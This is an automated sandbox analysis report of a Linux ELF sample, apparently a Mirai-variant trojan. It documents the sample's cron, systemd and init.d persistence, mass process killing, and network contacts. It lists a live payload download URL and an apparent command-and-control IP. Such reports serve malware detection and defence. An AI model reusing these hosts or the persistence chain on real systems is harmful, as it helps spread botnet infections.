Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
g3.elf

Overview

General Information

Sample name:g3.elf
Analysis ID:1589600
MD5:0afe0f7f12873fb3ce2adae27a81bd0d
SHA1:1cd517a693e01267bf7b9ca9c7e0814cfcb3da91
SHA256:6acace436cce8902d8a435f19f3720cd2cd900a02620df3d4b8151acb71b5565
Tags:elfuser-abuse_ch
Infos:

Detection

Score:64
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Drops files in suspicious directories
Executes the "crontab" command typically for achieving persistence
Sample tries to kill multiple processes (SIGKILL)
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "systemctl" command used for controlling the systemd system and service manager
Reads system information from the proc file system
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1589600
Start date and time:2025-01-12 23:02:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 3s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:g3.elf
Detection:MAL
Classification:mal64.spre.troj.evad.linELF@0/6@0/0
  • VT rate limit hit for: http://103.136.41.100/g3
Command:/tmp/g3.elf
PID:6257
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
gosh that chinese family at the other table sure ate a lot
Standard Error:
  • system is lnxubuntu20
  • g3.elf (PID: 6257, Parent: 6180, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/g3.elf
    • g3.elf New Fork (PID: 6266, Parent: 6257)
    • sh (PID: 6266, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"
      • sh New Fork (PID: 6272, Parent: 6266)
      • systemctl (PID: 6272, Parent: 6266, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload
    • g3.elf New Fork (PID: 6284, Parent: 6257)
    • sh (PID: 6284, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start hello.service > /dev/null 2>&1"
      • sh New Fork (PID: 6286, Parent: 6284)
      • systemctl (PID: 6286, Parent: 6284, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start hello.service
    • g3.elf New Fork (PID: 6287, Parent: 6257)
    • sh (PID: 6287, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
      • sh New Fork (PID: 6292, Parent: 6287)
      • crontab (PID: 6292, Parent: 6287, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab /tmp/crontab.tmp
    • g3.elf New Fork (PID: 6295, Parent: 6257)
    • sh (PID: 6295, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/etc/init.d/hello > /dev/null 2>&1"
      • sh New Fork (PID: 6297, Parent: 6295)
    • g3.elf New Fork (PID: 6298, Parent: 6257)
      • g3.elf New Fork (PID: 6300, Parent: 6298)
        • g3.elf New Fork (PID: 6302, Parent: 6300)
        • g3.elf New Fork (PID: 6304, Parent: 6300)
        • g3.elf New Fork (PID: 6306, Parent: 6300)
  • wrapper-2.0 (PID: 6259, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
  • wrapper-2.0 (PID: 6260, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
  • wrapper-2.0 (PID: 6261, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
  • wrapper-2.0 (PID: 6262, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
  • wrapper-2.0 (PID: 6263, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
  • wrapper-2.0 (PID: 6264, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
  • systemd New Fork (PID: 6274, Parent: 6273)
  • snapd-env-generator (PID: 6274, Parent: 6273, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: g3.elfReversingLabs: Detection: 26%
Source: global trafficTCP traffic: 192.168.2.23:48828 -> 77.90.22.16:5625
Source: global trafficTCP traffic: 192.168.2.23:57683 -> 1.1.1.1:53
Source: /tmp/g3.elf (PID: 6257)Socket: 127.0.0.1:23476Jump to behavior
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknownTCP traffic detected without corresponding DNS query: 77.90.22.16
Source: g3.elfString found in binary or memory: http://%d.%d.%d.%d/%s
Source: g3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: hello.service.12.dr, hello.12.dr, tmp.YaNrRY.40.dr, crontab.tmp.12.drString found in binary or memory: http://103.136.41.100/g3
Source: g3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: g3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: g3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443

System Summary

barindex
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2018, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2077, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2078, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2079, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2080, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2083, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2084, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2156, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6259, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6260, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6261, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6262, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6263, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6264, result: successfulJump to behavior
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2018, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2077, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2078, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2079, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2080, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2083, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2084, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 2156, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6259, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6260, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6261, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6262, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6263, result: successfulJump to behavior
Source: /tmp/g3.elf (PID: 6257)SIGKILL sent: pid: 6264, result: successfulJump to behavior
Source: classification engineClassification label: mal64.spre.troj.evad.linELF@0/6@0/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 6292)Crontab executable: /usr/bin/crontab -> crontab /tmp/crontab.tmpJump to behavior
Source: /usr/bin/crontab (PID: 6292)File: /var/spool/cron/crontabs/tmp.YaNrRYJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2033/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2033/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2033/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2033/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2033/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2275/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2275/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2275/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2275/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2275/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1612/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1612/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1612/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1612/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1612/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2028/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2028/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2028/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2028/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2028/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/3236/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/3236/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/3236/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/3236/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/3236/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2025/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2025/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2025/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2025/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2025/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2146/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2146/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2146/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2146/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2146/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/759/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/759/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/759/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/759/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/759/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/6240/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/6240/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/6240/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/6240/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/6240/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6257)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/g3.elf (PID: 6266)Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"Jump to behavior
Source: /tmp/g3.elf (PID: 6284)Shell command executed: sh -c "systemctl start hello.service > /dev/null 2>&1"Jump to behavior
Source: /tmp/g3.elf (PID: 6287)Shell command executed: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"Jump to behavior
Source: /tmp/g3.elf (PID: 6295)Shell command executed: sh -c "/etc/init.d/hello > /dev/null 2>&1"Jump to behavior
Source: /bin/sh (PID: 6272)Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reloadJump to behavior
Source: /bin/sh (PID: 6286)Systemctl executable: /usr/bin/systemctl -> systemctl start hello.serviceJump to behavior
Source: /tmp/g3.elf (PID: 6257)Reads from proc file: /proc/statJump to behavior
Source: /tmp/g3.elf (PID: 6257)Writes shell script file to disk with an unusual file extension: /etc/init.d/helloJump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/g3.elf (PID: 6257)File: /etc/init.d/helloJump to dropped file
Source: /tmp/g3.elf (PID: 6257)Queries kernel information via 'uname': Jump to behavior
Source: g3.elf, 6257.1.00007ffdba7b2000.00007ffdba7d3000.rw-.sdmp, g3.elf, 6298.1.00007ffdba7b2000.00007ffdba7d3000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/g3.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/g3.elf
Source: g3.elf, 6257.1.00007ffdba7b2000.00007ffdba7d3000.rw-.sdmpBinary or memory string: !V/tmp/qemu-open.AWtF9j:
Source: g3.elf, 6257.1.00005621878e7000.0000562187a38000.rw-.sdmp, g3.elf, 6298.1.00005621878e7000.0000562187a38000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: g3.elf, 6257.1.00007ffdba7b2000.00007ffdba7d3000.rw-.sdmp, g3.elf, 6298.1.00007ffdba7b2000.00007ffdba7d3000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: g3.elf, 6257.1.00005621878e7000.0000562187a38000.rw-.sdmp, g3.elf, 6298.1.00005621878e7000.0000562187a38000.rw-.sdmpBinary or memory string: !V!/etc/qemu-binfmt/arm
Source: g3.elf, 6257.1.00007ffdba7b2000.00007ffdba7d3000.rw-.sdmpBinary or memory string: /tmp/qemu-open.AWtF9j
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid Accounts1
Scheduled Task/Job
1
Systemd Service
1
Systemd Service
1
Masquerading
1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network Medium1
Service Stop
CredentialsDomainsDefault AccountsScheduled Task/Job1
Scheduled Task/Job
1
Scheduled Task/Job
RootkitLSASS Memory1
System Information Discovery
Remote Desktop ProtocolData from Removable Media1
Non-Standard Port
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
Scripting
Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1589600 Sample: g3.elf Startdate: 12/01/2025 Architecture: LINUX Score: 64 51 109.202.202.202, 80 INIT7CH Switzerland 2->51 53 1.1.1.1, 53, 57683 CLOUDFLARENETUS Australia 2->53 55 3 other IPs or domains 2->55 57 Multi AV Scanner detection for submitted file 2->57 9 g3.elf 2->9         started        13 xfce4-panel wrapper-2.0 2->13         started        15 xfce4-panel wrapper-2.0 2->15         started        17 5 other processes 2->17 signatures3 process4 file5 45 /tmp/crontab.tmp, troff 9->45 dropped 47 /etc/init.d/hello, Bourne-Again 9->47 dropped 59 Sample tries to kill multiple processes (SIGKILL) 9->59 61 Drops files in suspicious directories 9->61 19 g3.elf sh 9->19         started        21 g3.elf sh 9->21         started        23 g3.elf sh 9->23         started        25 2 other processes 9->25 signatures6 process7 process8 27 sh crontab 19->27         started        31 sh systemctl 21->31         started        33 sh systemctl 23->33         started        35 g3.elf 25->35         started        37 sh 25->37         started        file9 49 /var/spool/cron/crontabs/tmp.YaNrRY, troff 27->49 dropped 63 Sample tries to persist itself using cron 27->63 65 Executes the "crontab" command typically for achieving persistence 27->65 39 g3.elf 35->39         started        41 g3.elf 35->41         started        43 g3.elf 35->43         started        signatures10 process11

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
g3.elf26%ReversingLabsLinux.Trojan.Mirai
No Antivirus matches
No Antivirus matches
SourceDetectionScannerLabelLink
http://103.136.41.100/g3100%Avira URL Cloudmalware
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http://%d.%d.%d.%d/%sg3.elffalse
    high
    http://1/wget.shg3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpfalse
      high
      http://103.136.41.100/g3hello.service.12.dr, hello.12.dr, tmp.YaNrRY.40.dr, crontab.tmp.12.drfalse
      • Avira URL Cloud: malware
      unknown
      http://schemas.xmlsoap.org/soap/encoding/g3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpfalse
        high
        http://9/curl.shg3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpfalse
          high
          http://schemas.xmlsoap.org/soap/envelope/g3.elf, 6257.1.00007fdf14033000.00007fdf14039000.rw-.sdmp, g3.elf, 6298.1.00007fdf14033000.00007fdf14039000.rw-.sdmpfalse
            high
            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs
            IPDomainCountryFlagASNASN NameMalicious
            77.90.22.16
            unknownGermany
            12586ASGHOSTNETDEfalse
            1.1.1.1
            unknownAustralia
            13335CLOUDFLARENETUSfalse
            109.202.202.202
            unknownSwitzerland
            13030INIT7CHfalse
            91.189.91.43
            unknownUnited Kingdom
            41231CANONICAL-ASGBfalse
            91.189.91.42
            unknownUnited Kingdom
            41231CANONICAL-ASGBfalse
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            77.90.22.16m1.elfGet hashmaliciousUnknownBrowse
              m5.elfGet hashmaliciousUnknownBrowse
                m2.elfGet hashmaliciousUnknownBrowse
                  1.1.1.1watchdog.elfGet hashmaliciousXmrigBrowse
                  • 1.1.1.1:8080/
                  6fW0GedR6j.xlsGet hashmaliciousUnknownBrowse
                  • 1.1.1.1/ctrl/playback.php
                  PO-230821_pdf.exeGet hashmaliciousFormBook, NSISDropperBrowse
                  • www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
                  AFfv8HpACF.exeGet hashmaliciousUnknownBrowse
                  • 1.1.1.1/
                  INVOICE_90990_PDF.exeGet hashmaliciousFormBookBrowse
                  • www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
                  Go.exeGet hashmaliciousUnknownBrowse
                  • 1.1.1.1/
                  109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
                  • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
                  No context
                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
